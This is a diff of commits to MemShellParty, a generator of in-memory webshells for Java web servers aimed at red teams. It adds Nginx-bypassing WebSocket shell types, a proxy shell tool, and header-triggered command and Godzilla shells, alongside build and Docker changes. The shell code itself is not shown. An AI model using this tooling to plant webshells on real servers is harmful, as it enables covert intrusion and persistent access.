Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f60d4108ad | ||
|
|
fe5760409a | ||
|
|
40632a7308 | ||
|
|
b49bb89025 | ||
|
|
336d0b1f5a | ||
|
|
5ec48e7d41 | ||
|
|
8ba200089a | ||
|
|
e38a91f720 | ||
|
|
60edda0cec | ||
|
|
c5bfd3d92e | ||
|
|
159f501179 | ||
|
|
ff6d1b6f9e | ||
|
|
8402bd9d51 | ||
|
|
7c126d8189 | ||
|
|
03c138206a | ||
|
|
8b1cf078f3 | ||
|
|
3e4c5e5b38 | ||
|
|
b49ad1581f | ||
|
|
bf50918a99 | ||
|
|
be051d3147 | ||
|
|
f780886f08 | ||
|
|
b46959e059 | ||
|
|
3e2d977562 | ||
|
|
b45efd8e1e | ||
|
|
ee9288debd | ||
|
|
1518432fde | ||
|
|
302e8fbb8f | ||
|
|
4955c9d4a2 | ||
|
|
cf492e68ea | ||
|
|
39eab10281 | ||
|
|
ba9c0be2a4 | ||
|
|
23f310ca8a | ||
|
|
9d9d33f612 | ||
|
|
da1a5f70ef | ||
|
|
69e8e20a6a | ||
|
|
a1f32c5bf2 | ||
|
|
6b10b3f56f | ||
|
|
3e3d82218c | ||
|
|
202924aa54 | ||
|
|
054e22bc3d | ||
|
|
fa92930353 | ||
|
|
52437d67be | ||
|
|
117b48a9d0 | ||
|
|
3fe9a932ba | ||
|
|
1772c08f22 | ||
|
|
e44caeba1b | ||
|
|
4f080df85a | ||
|
|
7562469b44 | ||
|
|
359931a881 | ||
|
|
8c20f18c70 | ||
|
|
dace117e73 | ||
|
|
5c0d26ae16 | ||
|
|
8e9d47bbea | ||
|
|
c1f1802182 | ||
|
|
dc7958e123 | ||
|
|
d59bb9d29f | ||
|
|
3e966f8fab | ||
|
|
f940a528f0 | ||
|
|
0b48dd64bd | ||
|
|
bf213ae575 | ||
|
|
c8ede922b9 | ||
|
|
c0a059fbdc | ||
|
|
b4f8e62fc7 | ||
|
|
1c0d65b353 | ||
|
|
f26727e6fc | ||
|
|
2b1388c8eb | ||
|
|
9f7b4276e2 | ||
|
|
b992e5f60e | ||
|
|
de69a63be5 | ||
|
|
de462ae8b0 | ||
|
|
d873dae8f3 | ||
|
|
3e2fb861cd | ||
|
|
cbc71e5a52 | ||
|
|
ad8d2713ad | ||
|
|
b04a34f1ab | ||
|
|
2f325934e1 | ||
|
|
b47e437889 | ||
|
|
d1edb8fbdf |
@@ -12,7 +12,10 @@ on:
|
|||||||
jobs:
|
jobs:
|
||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
strategy:
|
||||||
|
matrix:
|
||||||
|
os: [ubuntu-latest, windows-latest]
|
||||||
|
runs-on: ${{ matrix.os }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -39,10 +42,16 @@ jobs:
|
|||||||
working-directory: web
|
working-directory: web
|
||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
- name: Build Boot with Gradle (Linux)
|
||||||
|
if: matrix.os == 'ubuntu-latest'
|
||||||
run: ./gradlew :boot:test :boot:bootjar
|
run: ./gradlew :boot:test :boot:bootjar
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Build Boot with Gradle (Windows)
|
||||||
|
if: matrix.os == 'windows-latest'
|
||||||
|
run: ./gradlew.bat :boot:test :boot:bootjar
|
||||||
|
|
||||||
|
- name: Upload Boot Jar (Linux)
|
||||||
|
if: matrix.os == 'ubuntu-latest'
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
|
|||||||
@@ -0,0 +1,47 @@
|
|||||||
|
name: Single IntegrationTest
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
depend_tasks:
|
||||||
|
description: '前置构建任务,如 :boot:jar :generator:jar'
|
||||||
|
required: false
|
||||||
|
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
|
||||||
|
type: string
|
||||||
|
test_class:
|
||||||
|
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
|
||||||
|
required: true
|
||||||
|
type: string
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
integration-test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
if: ${{ inputs.depend_tasks != '' }}
|
||||||
|
run: ./gradlew ${{ inputs.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
|
||||||
|
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
uses: mikepenz/action-junit-report@v5
|
||||||
|
if: success() || failure()
|
||||||
|
with:
|
||||||
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
[submodule "libs"]
|
||||||
|
path = libs
|
||||||
|
url = https://github.com/ReaJason/javaweb-sources.git
|
||||||
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
|||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
# https://hub.docker.com/r/oven/bun
|
# https://hub.docker.com/r/oven/bun
|
||||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend
|
FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH="/"
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
|
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
|
|||||||
|
|
||||||
RUN ./gradlew :boot:bootjar -x test
|
RUN ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.15_6-jre-noble
|
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -25,10 +25,10 @@
|
|||||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
|
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||||
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
|
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||||
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||||
<img src="asserts/about_page.png" alt="about_page" width="24%">
|
<img src="assets/about_page.png" alt="about_page" width="24%">
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
## 主要特性
|
## 主要特性
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 92 KiB |
|
Before Width: | Height: | Size: 136 KiB After Width: | Height: | Size: 136 KiB |
|
Before Width: | Height: | Size: 236 KiB After Width: | Height: | Size: 236 KiB |
@@ -2,7 +2,7 @@ FROM python:3.12-slim
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
RUN pip install requests
|
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
||||||
|
|
||||||
COPY neoreg.py .
|
COPY neoreg.py .
|
||||||
|
|
||||||
|
Before Width: | Height: | Size: 268 KiB After Width: | Height: | Size: 268 KiB |
@@ -1,4 +1,4 @@
|
|||||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -2,9 +2,10 @@ package com.reajason.javaweb.boot.controller;
|
|||||||
|
|
||||||
import jakarta.servlet.http.HttpServletRequest;
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import jakarta.servlet.http.HttpServletResponse;
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.core.io.ClassPathResource;
|
import org.springframework.core.io.ClassPathResource;
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.util.FileCopyUtils;
|
import org.springframework.util.FileCopyUtils;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
@@ -34,23 +35,18 @@ public class ViewController {
|
|||||||
return renderFileData(relativePath, response);
|
return renderFileData(relativePath, response);
|
||||||
}
|
}
|
||||||
|
|
||||||
@GetMapping({"/ui/docs/*.data", "/ui/*.data"})
|
|
||||||
@ResponseBody
|
|
||||||
public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
|
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
|
||||||
String relativePath = fullPath.substring(4);
|
|
||||||
return renderFileData(relativePath, response);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@GetMapping("/ui/**")
|
@GetMapping("/ui/**")
|
||||||
public String handleHtmlView(HttpServletRequest request) {
|
@SneakyThrows
|
||||||
|
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
||||||
return "index";
|
return "index";
|
||||||
}
|
}
|
||||||
String viewPath = fullPath.substring(4);
|
String docPath = fullPath.substring(4);
|
||||||
return viewPath + "/index";
|
if (docPath.endsWith(".data")) {
|
||||||
|
return ResponseEntity.ok(renderFileData(docPath, response));
|
||||||
|
}
|
||||||
|
return docPath + "/index";
|
||||||
}
|
}
|
||||||
|
|
||||||
private String renderFileData(String relativePath, HttpServletResponse response) {
|
private String renderFileData(String relativePath, HttpServletResponse response) {
|
||||||
@@ -61,8 +57,6 @@ public class ViewController {
|
|||||||
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
||||||
return "File not found: " + relativePath;
|
return "File not found: " + relativePath;
|
||||||
}
|
}
|
||||||
response.setContentType(MediaType.TEXT_PLAIN_VALUE);
|
|
||||||
response.setCharacterEncoding("UTF-8");
|
|
||||||
InputStreamReader reader = new InputStreamReader(
|
InputStreamReader reader = new InputStreamReader(
|
||||||
resource.getInputStream(),
|
resource.getInputStream(),
|
||||||
StandardCharsets.UTF_8
|
StandardCharsets.UTF_8
|
||||||
|
|||||||
@@ -51,6 +51,8 @@ public class MemShellGenerateRequest {
|
|||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(shellToolConfig.getCommandParamName())
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.template(shellToolConfig.getCommandTemplate())
|
.template(shellToolConfig.getCommandTemplate())
|
||||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||||
@@ -75,6 +77,10 @@ public class MemShellGenerateRequest {
|
|||||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.build();
|
.build();
|
||||||
|
case Proxy -> ProxyConfig.builder()
|
||||||
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
|
.shellClassName(shellToolConfig.shellClassName).build();
|
||||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.boot.entity;
|
package com.reajason.javaweb.boot.entity;
|
||||||
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -2,7 +2,7 @@ package com.reajason.javaweb.boot.controller;
|
|||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.*;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ plugins {
|
|||||||
}
|
}
|
||||||
|
|
||||||
mavenPublishing {
|
mavenPublishing {
|
||||||
publishToMavenCentral()
|
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
|
||||||
signAllPublications()
|
signAllPublications()
|
||||||
coordinates(
|
coordinates(
|
||||||
"io.github.reajason",
|
"io.github.reajason",
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.4.1"
|
version = "2.5.0"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
|
|||||||
@@ -36,9 +36,9 @@ What you can learn or try from this project:
|
|||||||
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
||||||
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
## Key Features
|
## Key Features
|
||||||
|
|
||||||
|
|||||||
@@ -32,7 +32,9 @@ dependencies {
|
|||||||
api(libs.byte.buddy)
|
api(libs.byte.buddy)
|
||||||
implementation(libs.asm.commons)
|
implementation(libs.asm.commons)
|
||||||
implementation(libs.javax.websocket.api)
|
implementation(libs.javax.websocket.api)
|
||||||
|
implementation(libs.jakarta.websocket.client.api)
|
||||||
implementation(libs.javax.servlet.api)
|
implementation(libs.javax.servlet.api)
|
||||||
|
implementation(libs.jakarta.servlet.api)
|
||||||
implementation(libs.spring.webmvc)
|
implementation(libs.spring.webmvc)
|
||||||
implementation(libs.spring.webflux)
|
implementation(libs.spring.webflux)
|
||||||
implementation(libs.reactor.netty.core)
|
implementation(libs.reactor.netty.core)
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.probe.ProbeContent;
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
import com.reajason.javaweb.probe.ProbeMethod;
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
@@ -63,6 +64,11 @@ public class MemShellGenerator {
|
|||||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||||
injectorConfig.setShellClassBytes(shellBytes);
|
injectorConfig.setShellClassBytes(shellBytes);
|
||||||
|
|
||||||
|
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
||||||
|
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
||||||
|
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
|
||||||
|
}
|
||||||
|
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||||
byte[] injectorBytes = injectorGenerator.generate();
|
byte[] injectorBytes = injectorGenerator.generate();
|
||||||
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
|||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
@@ -60,6 +61,8 @@ public class ServerFactory {
|
|||||||
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||||
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
|
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
@@ -137,6 +140,8 @@ public class ServerFactory {
|
|||||||
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(UPGRADE, CommandUpgrade.class)
|
.addShellClass(UPGRADE, CommandUpgrade.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
@@ -235,6 +240,13 @@ public class ServerFactory {
|
|||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
||||||
|
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
|
||||||
|
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
||||||
|
.build());
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
|
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
|
||||||
|
|||||||
@@ -12,5 +12,6 @@ public class ShellTool {
|
|||||||
public static final String Suo5v2 = "Suo5v2";
|
public static final String Suo5v2 = "Suo5v2";
|
||||||
public static final String AntSword = "AntSword";
|
public static final String AntSword = "AntSword";
|
||||||
public static final String NeoreGeorg = "NeoreGeorg";
|
public static final String NeoreGeorg = "NeoreGeorg";
|
||||||
|
public static final String Proxy = "Proxy";
|
||||||
public static final String Custom = "Custom";
|
public static final String Custom = "Custom";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -27,6 +27,7 @@ public class ShellToolFactory {
|
|||||||
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||||
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||||
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||||
|
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||||
|
|||||||
@@ -45,7 +45,9 @@ public class ShellType {
|
|||||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||||
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
||||||
public static final String WEBSOCKET = "WebSocket";
|
public static final String WEBSOCKET = "WebSocket";
|
||||||
|
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
|
||||||
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
||||||
|
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
||||||
|
|
||||||
public static final String ACTION = "Action";
|
public static final String ACTION = "Action";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,6 +22,18 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String paramName = CommonUtil.getRandomString(8);
|
private String paramName = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private String headerName = "User-Agent";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 加密器
|
* 加密器
|
||||||
*/
|
*/
|
||||||
@@ -48,6 +60,22 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
}
|
}
|
||||||
return self();
|
return self();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -16,37 +16,38 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@Builder(toBuilder = true)
|
@Builder(toBuilder = true)
|
||||||
public class InjectorConfig {
|
public class InjectorConfig {
|
||||||
/**
|
|
||||||
* 注入器 Builder
|
|
||||||
*/
|
|
||||||
DynamicType.Builder<?> injectorBuilder;
|
|
||||||
/**
|
|
||||||
* 内存马 Builder
|
|
||||||
*/
|
|
||||||
DynamicType.Builder<?> shellBuilder;
|
|
||||||
/**
|
/**
|
||||||
* 注入器模板类
|
* 注入器模板类
|
||||||
*/
|
*/
|
||||||
private Class<?> injectorClass;
|
private Class<?> injectorClass;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入器类名
|
* 注入器类名
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入访问的地址
|
* 注入访问的地址
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String urlPattern = "/*";
|
private String urlPattern = "/*";
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类名
|
* 内存马类名
|
||||||
*/
|
*/
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类字节
|
* 内存马类字节
|
||||||
*/
|
*/
|
||||||
private byte[] shellClassBytes;
|
private byte[] shellClassBytes;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 辅助类字节码
|
||||||
|
*/
|
||||||
|
private byte[] helperClassBytes;
|
||||||
|
|
||||||
